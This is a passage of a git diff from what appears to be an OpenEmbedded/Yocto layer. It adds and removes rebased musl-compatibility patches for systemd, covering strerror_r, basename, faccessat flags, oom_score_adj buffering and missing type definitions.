++ The laccess() macros was added to systemd some time ago and it's not clear if
++ or why it needs to return success for broken symlinks. Maybe just historical
++ and not actually necessary or desired behaviour?
++*/
+ #define laccess(path, mode) \
+- RET_NERRNO(faccessat(AT_FDCWD, (path), (mode), AT_SYMLINK_NOFOLLOW))
++ RET_NERRNO(faccessat(AT_FDCWD, (path), (mode), 0))
+
+ int touch_file(const char *path, bool parents, usec_t stamp, uid_t uid, gid_t gid, mode_t mode);
+ int touch(const char *path);
+--- a/src/shared/base-filesystem.c
++++ b/src/shared/base-filesystem.c
+@@ -117,7 +117,7 @@ int base_filesystem_create(const char *r
+ return log_error_errno(errno, "Failed to open root file system: %m");
+
+ for (size_t i = 0; i < ELEMENTSOF(table); i++) {
+- if (faccessat(fd, table[i].dir, F_OK, AT_SYMLINK_NOFOLLOW) >= 0)
++ if (faccessat(fd, table[i].dir, F_OK, 0) >= 0)
+ continue;
+
+ if (table[i].target) {
+@@ -125,7 +125,7 @@ int base_filesystem_create(const char *r
+
+ /* check if one of the targets exists */
+ NULSTR_FOREACH(s, table[i].target) {
+- if (faccessat(fd, s, F_OK, AT_SYMLINK_NOFOLLOW) < 0)
++ if (faccessat(fd, s, F_OK, 0) < 0)
+ continue;
+
+ /* check if a specific file exists at the target path */
+@@ -136,7 +136,7 @@ int base_filesystem_create(const char *r
+ if (!p)
+ return log_oom();
+
+- if (faccessat(fd, p, F_OK, AT_SYMLINK_NOFOLLOW) < 0)
++ if (faccessat(fd, p, F_OK, 0) < 0)
+ continue;
+ }
+
diff --git a/meta/recipes-core/systemd/systemd/0013-Define-glibc-compatible-basename-for-non-glibc-syste.patch b/meta/recipes-core/systemd/systemd/0013-Define-glibc-compatible-basename-for-non-glibc-syste.patch
new file mode 100644
index 0000000000..612a535d3c
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0013-Define-glibc-compatible-basename-for-non-glibc-syste.patch
@@ -0,0 +1,30 @@
+From 1803ea271b93370fdcf7ec497277344f1e775429 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 27 May 2018 08:36:44 -0700
+Subject: [PATCH] Define glibc compatible basename() for non-glibc systems
+
+Fixes builds with musl, even though systemd is adamant about
+using non-posix basename implementation, we have a way out
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ src/machine/machine-dbus.c | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+--- a/src/machine/machine-dbus.c
++++ b/src/machine/machine-dbus.c
+@@ -10,6 +10,11 @@
+ #include <libgen.h>
+ #undef basename
+
++#if !defined(__GLIBC__)
++#include <string.h>
++#define basename(src) (strrchr(src,'/') ? strrchr(src,'/')+1 : src)
++#endif
++
+ #include "alloc-util.h"
+ #include "bus-common-errors.h"
+ #include "bus-get-properties.h"
diff --git a/meta/recipes-core/systemd/systemd/0014-Do-not-disable-buffering-when-writing-to-oom_score_a.patch b/meta/recipes-core/systemd/systemd/0014-Do-not-disable-buffering-when-writing-to-oom_score_a.patch
new file mode 100644
index 0000000000..baf4903803
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0014-Do-not-disable-buffering-when-writing-to-oom_score_a.patch
@@ -0,0 +1,37 @@
+From 30b08f76ea7f5c324afedf97f0867b76dac9f128 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Wed, 4 Jul 2018 15:00:44 +0800
+Subject: [PATCH] Do not disable buffering when writing to oom_score_adj
+
+On musl, disabling buffering when writing to oom_score_adj will
+cause the following error.
+
+ Failed to adjust OOM setting: Invalid argument
+
+This error appears for systemd-udevd.service and dbus.service.
+This is because kernel receives '-' instead of the whole '-900'
+if buffering is disabled.
+
+This is libc implementation specific, as glibc does not have this issue.
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[rebased for systemd 243]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
+---
+ src/basic/process-util.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+--- a/src/basic/process-util.c
++++ b/src/basic/process-util.c
+@@ -1489,7 +1489,7 @@ int set_oom_score_adjust(int value) {
+ xsprintf(t, "%i", value);
+
+ return write_string_file("/proc/self/oom_score_adj", t,
+- WRITE_STRING_FILE_VERIFY_ON_FAILURE|WRITE_STRING_FILE_DISABLE_BUFFER);
++ WRITE_STRING_FILE_VERIFY_ON_FAILURE);
+ }
+
+ int get_oom_score_adjust(int *ret) {
diff --git a/meta/recipes-core/systemd/systemd/0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch b/meta/recipes-core/systemd/systemd/0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch
deleted file mode 100644
index 914589dbd3..0000000000
--- a/meta/recipes-core/systemd/systemd/0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From d3d65d4036670cbd5129fe55c09ca391286ef4b3 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Wed, 28 Feb 2018 21:25:22 -0800
-Subject: [PATCH 14/24] test-sizeof.c: Disable tests for missing typedefs in
- musl
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/test/test-sizeof.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/src/test/test-sizeof.c b/src/test/test-sizeof.c
-index 35b0876..e78e7ca 100644
---- a/src/test/test-sizeof.c
-+++ b/src/test/test-sizeof.c
-@@ -41,8 +41,10 @@ int main(void) {
- info(unsigned);
- info(long unsigned);
- info(long long unsigned);
-+#ifdef __GLIBC__
- info(__syscall_ulong_t);
- info(__syscall_slong_t);
-+#endif
-
- info(float);
- info(double);
-@@ -60,7 +62,9 @@ int main(void) {
- info(ssize_t);
- info(time_t);
- info(usec_t);
-+#ifdef __GLIBC__
- info(__time_t);
-+#endif
- info(pid_t);
- info(uid_t);
- info(gid_t);
---
-2.7.4
-
diff --git a/meta/recipes-core/systemd/systemd/0015-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch b/meta/recipes-core/systemd/systemd/0015-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch
new file mode 100644
index 0000000000..878914b307
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0015-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch
@@ -0,0 +1,56 @@
+From 873202f63f9f117c6e5a98e444cc709057042979 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Tue, 10 Jul 2018 15:40:17 +0800
+Subject: [PATCH] distinguish XSI-compliant strerror_r from GNU-specifi
+ strerror_r
+
+XSI-compliant strerror_r and GNU-specifi strerror_r are different.
+
+ int strerror_r(int errnum, char *buf, size_t buflen);
+ /* XSI-compliant */
+
+ char *strerror_r(int errnum, char *buf, size_t buflen);
+ /* GNU-specific */
+
+We need to distinguish between them. Otherwise, we'll get an int value
+assigned to (char *) variable, resulting in segment fault.
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/libsystemd/sd-bus/bus-error.c | 5 +++++
+ src/libsystemd/sd-journal/journal-send.c | 5 +++++
+ 2 files changed, 10 insertions(+)
+
+--- a/src/libsystemd/sd-bus/bus-error.c
++++ b/src/libsystemd/sd-bus/bus-error.c
+@@ -409,7 +409,12 @@ static void bus_error_strerror(sd_bus_er
+ return;
+
+ errno = 0;
++#ifndef __GLIBC__
++ strerror_r(error, m, k);
++ x = m;
++#else
+ x = strerror_r(error, m, k);
++#endif
+ if (errno == ERANGE || strlen(x) >= k - 1) {
+ free(m);
+ k *= 2;
+--- a/src/libsystemd/sd-journal/journal-send.c
++++ b/src/libsystemd/sd-journal/journal-send.c
+@@ -348,7 +348,12 @@ static int fill_iovec_perror_and_send(co
+ char* j;
+
+ errno = 0;
++#ifndef __GLIBC__
++ strerror_r(_saved_errno_, buffer + 8 + k, n - 8 - k);
++ j = buffer + 8 + k;
++#else
+ j = strerror_r(_saved_errno_, buffer + 8 + k, n - 8 - k);
++#endif
+ if (errno == 0) {
+ char error[STRLEN("ERRNO=") + DECIMAL_STR_MAX(int) + 1];
+
diff --git a/meta/recipes-core/systemd/systemd/0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch b/meta/recipes-core/systemd/systemd/0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch
deleted file mode 100644
index fd407f604d..0000000000
--- a/meta/recipes-core/systemd/systemd/0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch
+++ /dev/null
@@ -1,99 +0,0 @@
-From 48c628f532f6025c2d1646b6819cd81eb789d7fb Mon Sep 17 00:00:00 2001
-From: Andre McCurdy <armccurdy@gmail.com>
-Date: Tue, 10 Oct 2017 14:33:30 -0700
-Subject: [PATCH 15/24] don't pass AT_SYMLINK_NOFOLLOW flag to faccessat()
-
-Avoid using AT_SYMLINK_NOFOLLOW flag. It doesn't seem like the right
-thing to do and it's not portable (not supported by musl). See:
-
- http://lists.landley.net/pipermail/toybox-landley.net/2014-September/003610.html
- http://www.openwall.com/lists/musl/2015/02/05/2
-
-Note that laccess() is never passing AT_EACCESS so a lot of the
-discussion in the links above doesn't apply. Note also that
-(currently) all systemd callers of laccess() pass mode as F_OK, so
-only check for existence of a file, not access permissions.
-Therefore, in this case, the only distiction between faccessat()
-with (flag == 0) and (flag == AT_SYMLINK_NOFOLLOW) is the behaviour
-for broken symlinks; laccess() on a broken symlink will succeed with
-(flag == AT_SYMLINK_NOFOLLOW) and fail (flag == 0).
-
-The laccess() macros was added to systemd some time ago and it's not
-clear if or why it needs to return success for broken symlinks. Maybe
-just historical and not actually necessary or desired behaviour?
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
----
- src/basic/fs-util.h | 22 +++++++++++++++++++++-
- src/shared/base-filesystem.c | 6 +++---
- 2 files changed, 24 insertions(+), 4 deletions(-)
-
-diff --git a/src/basic/fs-util.h b/src/basic/fs-util.h
-index 7ad030b..d4cb1e9 100644
---- a/src/basic/fs-util.h
-+++ b/src/basic/fs-util.h
-@@ -32,7 +32,27 @@ int fchmod_opath(int fd, mode_t m);
-
- int fd_warn_permissions(const char *path, int fd);
-
--#define laccess(path, mode) faccessat(AT_FDCWD, (path), (mode), AT_SYMLINK_NOFOLLOW)
-+/*
-+ Avoid using AT_SYMLINK_NOFOLLOW flag. It doesn't seem like the right thing to
-+ do and it's not portable (not supported by musl). See:
-+
-+ http://lists.landley.net/pipermail/toybox-landley.net/2014-September/003610.html
-+ http://www.openwall.com/lists/musl/2015/02/05/2
-+
-+ Note that laccess() is never passing AT_EACCESS so a lot of the discussion in
-+ the links above doesn't apply. Note also that (currently) all systemd callers
-+ of laccess() pass mode as F_OK, so only check for existence of a file, not
-+ access permissions. Therefore, in this case, the only distiction between
-+ faccessat() with (flag == 0) and (flag == AT_SYMLINK_NOFOLLOW) is the
-+ behaviour for broken symlinks; laccess() on a broken symlink will succeed
-+ with (flag == AT_SYMLINK_NOFOLLOW) and fail (flag == 0).
-+
-+ The laccess() macros was added to systemd some time ago and it's not clear if
-+ or why it needs to return success for broken symlinks. Maybe just historical
-+ and not actually necessary or desired behaviour?
-+*/
-+
-+#define laccess(path, mode) faccessat(AT_FDCWD, (path), (mode), 0)
-
- int touch_file(const char *path, bool parents, usec_t stamp, uid_t uid, gid_t gid, mode_t mode);
- int touch(const char *path);
-diff --git a/src/shared/base-filesystem.c b/src/shared/base-filesystem.c
-index 89d7a7d..34b4ad5 100644
---- a/src/shared/base-filesystem.c
-+++ b/src/shared/base-filesystem.c
-@@ -53,7 +53,7 @@ int base_filesystem_create(const char *root, uid_t uid, gid_t gid) {
- return log_error_errno(errno, "Failed to open root file system: %m");
-
- for (i = 0; i < ELEMENTSOF(table); i ++) {
-- if (faccessat(fd, table[i].dir, F_OK, AT_SYMLINK_NOFOLLOW) >= 0)
-+ if (faccessat(fd, table[i].dir, F_OK, 0) >= 0)
- continue;
-
- if (table[i].target) {
-@@ -61,7 +61,7 @@ int base_filesystem_create(const char *root, uid_t uid, gid_t gid) {
-
- /* check if one of the targets exists */
- NULSTR_FOREACH(s, table[i].target) {
-- if (faccessat(fd, s, F_OK, AT_SYMLINK_NOFOLLOW) < 0)
-+ if (faccessat(fd, s, F_OK, 0) < 0)
- continue;
-
- /* check if a specific file exists at the target path */
-@@ -72,7 +72,7 @@ int base_filesystem_create(const char *root, uid_t uid, gid_t gid) {
- if (!p)
- return log_oom();
-
-- if (faccessat(fd, p, F_OK, AT_SYMLINK_NOFOLLOW) < 0)
-+ if (faccessat(fd, p, F_OK, 0) < 0)
- continue;
- }
-
---
-2.7.4
-
diff --git a/meta/recipes-core/systemd/systemd/0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch b/meta/recipes-core/systemd/systemd/0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch
deleted file mode 100644
index d5565698aa..0000000000
--- a/meta/recipes-core/systemd/systemd/0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From af76c973e41929360a6e021f2ff9a7fc1d7994e9 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 27 May 2018 08:36:44 -0700
-Subject: [PATCH 16/24] Define glibc compatible basename() for non-glibc
- systems
-
-Fixes builds with musl, even though systemd is adamant about
-using non-posix basename implementation, we have a way out
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/machine/machine-dbus.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/src/machine/machine-dbus.c b/src/machine/machine-dbus.c
-index 7a558df..eca7d4b 100644
---- a/src/machine/machine-dbus.c
-+++ b/src/machine/machine-dbus.c
-@@ -11,6 +11,10 @@
- #include <libgen.h>
- #undef basename
-
-+#if !defined(__GLIBC__)
-+#define basename(src) (strrchr(src,'/') ? strrchr(src,'/')+1 : src)
-+#endif
-+
- #include "alloc-util.h"
- #include "bus-common-errors.h"
- #include "bus-internal.h"
---
-2.7.4
-
diff --git a/meta/recipes-core/systemd/systemd/0016-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch b/meta/recipes-core/systemd/systemd/0016-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch
new file mode 100644
index 0000000000..e6507c5f89
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0016-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch
@@ -0,0 +1,33 @@
+From e7441559266074e7a33e3c11ff5cdaf5ba9c0e24 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:18:00 +0800
+Subject: [PATCH] Hide __start_BUS_ERROR_MAP and __stop_BUS_ERROR_MAP
+
+for currently unknown reasons they get exported to the shared libries
+even without being listed in the sym file
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+[Rebased for v241]
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/libsystemd/sd-bus/bus-error.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/libsystemd/sd-bus/bus-error.c b/src/libsystemd/sd-bus/bus-error.c
+index c49be29e46..90731bd7e7 100644
+--- a/src/libsystemd/sd-bus/bus-error.c
++++ b/src/libsystemd/sd-bus/bus-error.c
+@@ -55,8 +55,8 @@ BUS_ERROR_MAP_ELF_REGISTER const sd_bus_error_map bus_standard_errors[] = {
+ };
+
+ /* GCC maps this magically to the beginning and end of the BUS_ERROR_MAP section */
+-extern const sd_bus_error_map __start_SYSTEMD_BUS_ERROR_MAP[];
+-extern const sd_bus_error_map __stop_SYSTEMD_BUS_ERROR_MAP[];
++extern const sd_bus_error_map __start_SYSTEMD_BUS_ERROR_MAP[] _hidden_;
++extern const sd_bus_error_map __stop_SYSTEMD_BUS_ERROR_MAP[] _hidden_;
+
+ /* Additional maps registered with sd_bus_error_add_map() are in this
+ * NULL terminated array */
diff --git a/meta/recipes-core/systemd/systemd/0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch b/meta/recipes-core/systemd/systemd/0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch
deleted file mode 100644
index 24e24e8e5a..0000000000
--- a/meta/recipes-core/systemd/systemd/0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From c7a4efb8bccb52e1714c151929c23e12bde59b82 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Wed, 4 Jul 2018 15:00:44 +0800
-Subject: [PATCH 17/24] Do not disable buffering when writing to oom_score_adj
-
-On musl, disabling buffering when writing to oom_score_adj will
-cause the following error.
-
- Failed to adjust OOM setting: Invalid argument
-
-This error appears for systemd-udevd.service and dbus.service.
-This is because kernel receives '-' instead of the whole '-900'
-if buffering is disabled.
-
-This is libc implementation specific, as glibc does not have this issue.
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
----
- src/basic/process-util.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/basic/process-util.c b/src/basic/process-util.c
-index b1c08fcade..0a7a1f7d89 100644
---- a/src/basic/process-util.c
-+++ b/src/basic/process-util.c
-@@ -1474,7 +1474,7 @@ int set_oom_score_adjust(int value) {
- sprintf(t, "%i", value);
-
- return write_string_file("/proc/self/oom_score_adj", t,
-- WRITE_STRING_FILE_VERIFY_ON_FAILURE|WRITE_STRING_FILE_DISABLE_BUFFER);
-+ WRITE_STRING_FILE_VERIFY_ON_FAILURE);
- }
-
- static const char *const ioprio_class_table[] = {
diff --git a/meta/recipes-core/systemd/systemd/0017-missing_type.h-add-__compar_d_fn_t-definition.patch b/meta/recipes-core/systemd/systemd/0017-missing_type.h-add-__compar_d_fn_t-definition.patch
new file mode 100644
index 0000000000..eeff693bc4
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0017-missing_type.h-add-__compar_d_fn_t-definition.patch
@@ -0,0 +1,28 @@
+From 64f4d2eb976b9f23ce85b3655a876f7299eafd58 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:27:54 +0800
+Subject: [PATCH] missing_type.h: add __compar_d_fn_t definition
+
+Fix the following compile failure:
+src/basic/util.h:71:18: error: unknown type name '__compar_d_fn_t'; did you mean '__compar_fn_t'?
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/basic/missing_type.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
+index 3df1084ef2..697aa7f58a 100644
+--- a/src/basic/missing_type.h
++++ b/src/basic/missing_type.h
+@@ -13,6 +13,7 @@
+
+ #ifndef __GLIBC__
+ typedef int (*comparison_fn_t)(const void *, const void *);
++typedef int (*__compar_d_fn_t) (const void *, const void *, void *);
+ #endif
+
+ #ifndef __COMPAR_FN_T
diff --git a/meta/recipes-core/systemd/systemd/0018-avoid-redefinition-of-prctl_mm_map-structure.patch b/meta/recipes-core/systemd/systemd/0018-avoid-redefinition-of-prctl_mm_map-structure.patch
new file mode 100644
index 0000000000..5ca5386289
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0018-avoid-redefinition-of-prctl_mm_map-structure.patch
@@ -0,0 +1,30 @@
+From d95330f328c23c1cd6c51aeca43f081746cf2899 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:44:54 +0800
+Subject: [PATCH] avoid redefinition of prctl_mm_map structure
+
+Fix the following compile failure:
+error: redefinition of 'struct prctl_mm_map'
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/basic/missing_prctl.h | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/src/basic/missing_prctl.h b/src/basic/missing_prctl.h
+index ab851306ba..5547cad875 100644
+--- a/src/basic/missing_prctl.h
++++ b/src/basic/missing_prctl.h
+@@ -1,7 +1,9 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+ #pragma once
+
++#ifdef __GLIBC__
+ #include <linux/prctl.h>
++#endif
+
+ /* 58319057b7847667f0c9585b9de0e8932b0fdb08 (4.3) */
+ #ifndef PR_CAP_AMBIENT
diff --git a/meta/recipes-core/systemd/systemd/0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch b/meta/recipes-core/systemd/systemd/0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch
deleted file mode 100644
index 5901772998..0000000000
--- a/meta/recipes-core/systemd/systemd/0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From fffb2810611b4a26f5c6c0958093b5b3b7d4cd99 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Tue, 10 Jul 2018 15:40:17 +0800
-Subject: [PATCH 18/24] distinguish XSI-compliant strerror_r from GNU-specifi
- strerror_r
-
-XSI-compliant strerror_r and GNU-specifi strerror_r are different.
-
- int strerror_r(int errnum, char *buf, size_t buflen);
- /* XSI-compliant */
-
- char *strerror_r(int errnum, char *buf, size_t buflen);
- /* GNU-specific */
-
-We need to distinguish between them. Otherwise, we'll get an int value
-assigned to (char *) variable, resulting in segment fault.
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/journal/journal-send.c | 5 +++++
- src/libsystemd/sd-bus/bus-error.c | 5 +++++
- 2 files changed, 10 insertions(+)
-
-diff --git a/src/journal/journal-send.c b/src/journal/journal-send.c
-index 3fea912..4f1e592 100644
---- a/src/journal/journal-send.c
-+++ b/src/journal/journal-send.c
-@@ -337,7 +337,12 @@ static int fill_iovec_perror_and_send(const char *message, int skip, struct iove
- char* j;
-
- errno = 0;
-+#ifndef __GLIBC__
-+ strerror_r(_saved_errno_, buffer + 8 + k, n - 8 - k);
-+ j = buffer + 8 + k;
-+#else
- j = strerror_r(_saved_errno_, buffer + 8 + k, n - 8 - k);
-+#endif
- if (errno == 0) {
- char error[STRLEN("ERRNO=") + DECIMAL_STR_MAX(int) + 1];
-
-diff --git a/src/libsystemd/sd-bus/bus-error.c b/src/libsystemd/sd-bus/bus-error.c
-index dc95237..bdda30f 100644
---- a/src/libsystemd/sd-bus/bus-error.c
-+++ b/src/libsystemd/sd-bus/bus-error.c
-@@ -379,7 +379,12 @@ static void bus_error_strerror(sd_bus_error *e, int error) {
- return;
-
- errno = 0;
-+#ifndef __GLIBC__
-+ strerror_r(error, m, k);
-+ x = m;
-+#else
- x = strerror_r(error, m, k);
-+#endif
- if (errno == ERANGE || strlen(x) >= k - 1) {
- free(m);
- k *= 2;
---
-2.7.4
-
diff --git a/meta/recipes-core/systemd/systemd/0019-Handle-missing-LOCK_EX.patch b/meta/recipes-core/systemd/systemd/0019-Handle-missing-LOCK_EX.patch
new file mode 100644
index 0000000000..d51ac4265a
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0019-Handle-missing-LOCK_EX.patch
@@ -0,0 +1,24 @@
+From 2284f2f44b1b30f10b9196e0f5c6d0a2e0c1871f Mon Sep 17 00:00:00 2001
+From: Alex Kiernan <alex.kiernan@gmail.com>
+Date: Fri, 7 Aug 2020 15:19:27 +0000
+Subject: [PATCH] Handle missing LOCK_EX
+
+Upstream-Status: Inappropriate [musl specific]
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+
+---
+ src/partition/makefs.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/partition/makefs.c b/src/partition/makefs.c
+index 7c94fbfedb..42f966722d 100644
+--- a/src/partition/makefs.c
++++ b/src/partition/makefs.c
+@@ -6,6 +6,7 @@
+ #include <sys/stat.h>
+ #include <sys/types.h>
+ #include <unistd.h>
++#include <sys/file.h>
+
+ #include "alloc-util.h"
+ #include "blockdev-util.h"
diff --git a/meta/recipes-core/systemd/systemd/0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch b/meta/recipes-core/systemd/systemd/0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch
deleted file mode 100644
index 35cc66ff66..0000000000
--- a/meta/recipes-core/systemd/systemd/0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 969ab9e68249fd383f4b513b1c9306bdac4ae9b2 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:18:00 +0800
-Subject: [PATCH 19/24] Hide __start_BUS_ERROR_MAP and __stop_BUS_ERROR_MAP
-
-for currently unknown reasons they get exported to the shared libries
-even without being listed in the sym file
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-[Rebased for v241]
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/libsystemd/sd-bus/bus-error.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/libsystemd/sd-bus/bus-error.c b/src/libsystemd/sd-bus/bus-error.c
-index bdda30f..e21853c 100644
---- a/src/libsystemd/sd-bus/bus-error.c
-+++ b/src/libsystemd/sd-bus/bus-error.c
-@@ -54,8 +54,8 @@ BUS_ERROR_MAP_ELF_REGISTER const sd_bus_error_map bus_standard_errors[] = {
- };
-
- /* GCC maps this magically to the beginning and end of the BUS_ERROR_MAP section */
--extern const sd_bus_error_map __start_SYSTEMD_BUS_ERROR_MAP[];
--extern const sd_bus_error_map __stop_SYSTEMD_BUS_ERROR_MAP[];
-+extern const sd_bus_error_map __start_SYSTEMD_BUS_ERROR_MAP[] _hidden_;
-+extern const sd_bus_error_map __stop_SYSTEMD_BUS_ERROR_MAP[] _hidden_;
-
- /* Additional maps registered with sd_bus_error_add_map() are in this
- * NULL terminated array */
---
-2.7.4
-
diff --git a/meta/recipes-core/systemd/systemd/0020-Fix-incompatible-pointer-type-struct-sockaddr_un.patch b/meta/recipes-core/systemd/systemd/0020-Fix-incompatible-pointer-type-struct-sockaddr_un.patch
new file mode 100644
index 0000000000..1ba5c1292b
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0020-Fix-incompatible-pointer-type-struct-sockaddr_un.patch
@@ -0,0 +1,36 @@
+From a6a25e1ecae91f48a4f87bf0cc17eaaf0a919ffe Mon Sep 17 00:00:00 2001
+From: Alex Kiernan <alex.kiernan@gmail.com>
+Date: Fri, 7 Aug 2020 15:20:17 +0000
+Subject: [PATCH] Fix incompatible pointer type struct sockaddr_un *
+
+| ../../../../../../workspace/sources/systemd/src/nspawn/nspawn.c: In function 'cant_be_in_netns':
+| ../../../../../../workspace/sources/systemd/src/nspawn/nspawn.c:4893:25: error: passing argument 2 of 'connect' from incompatible pointer type [-Werror=incompatible-pointer-types]
+| 4893 | if (connect(fd, &sa.un, SOCKADDR_UN_LEN(sa.un)) < 0) {
+| | ^~~~~~
+| | |
+| | struct sockaddr_un *
+| In file included from ../../../../../../workspace/sources/systemd/src/systemd/sd-daemon.h:22,
+| from ../../../../../../workspace/sources/systemd/src/nspawn/nspawn.c:21:
+| /home/ubuntu/poky/build/tmp/work/core2-64-poky-linux-musl/systemd/1_246-r0/recipe-sysroot/usr/include/sys/socket.h:384:19: note: expected 'const struct sockaddr *' but argument is of type 'struct sockaddr_un *'
+| 384 | int connect (int, const struct sockaddr *, socklen_t);
+| | ^~~~~~~~~~~~~~~~~~~~~~~
+| cc1: some warnings being treated as errors
+
+Upstream-Status: Inappropriate [musl specific]
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+
+---
+ src/nspawn/nspawn.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+--- a/src/nspawn/nspawn.c
++++ b/src/nspawn/nspawn.c
+@@ -5389,7 +5389,7 @@ static int cant_be_in_netns(void) {
+ if (fd < 0)
+ return log_error_errno(errno, "Failed to allocate udev control socket: %m");
+
+- if (connect(fd, &sa.sa, SOCKADDR_UN_LEN(sa.un)) < 0) {
++ if (connect(fd, (struct sockaddr *)&sa.sa, SOCKADDR_UN_LEN(sa.un)) < 0) {
+
+ if (errno == ENOENT || ERRNO_IS_DISCONNECT(errno))
+ return log_error_errno(SYNTHETIC_ERRNO(EOPNOTSUPP),
diff --git a/meta/recipes-core/systemd/systemd/0020-missing_type.h-add-__compar_d_fn_t-definition.patch b/meta/recipes-core/systemd/systemd/0020-missing_type.h-add-__compar_d_fn_t-definition.patch
deleted file mode 100644
index 753d5116ac..0000000000
--- a/meta/recipes-core/systemd/systemd/0020-missing_type.h-add-__compar_d_fn_t-definition.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 75c06e3e2a4760b36fffd95cdf5535b8ad73c481 Mon Sep 17 00:00:00 2001
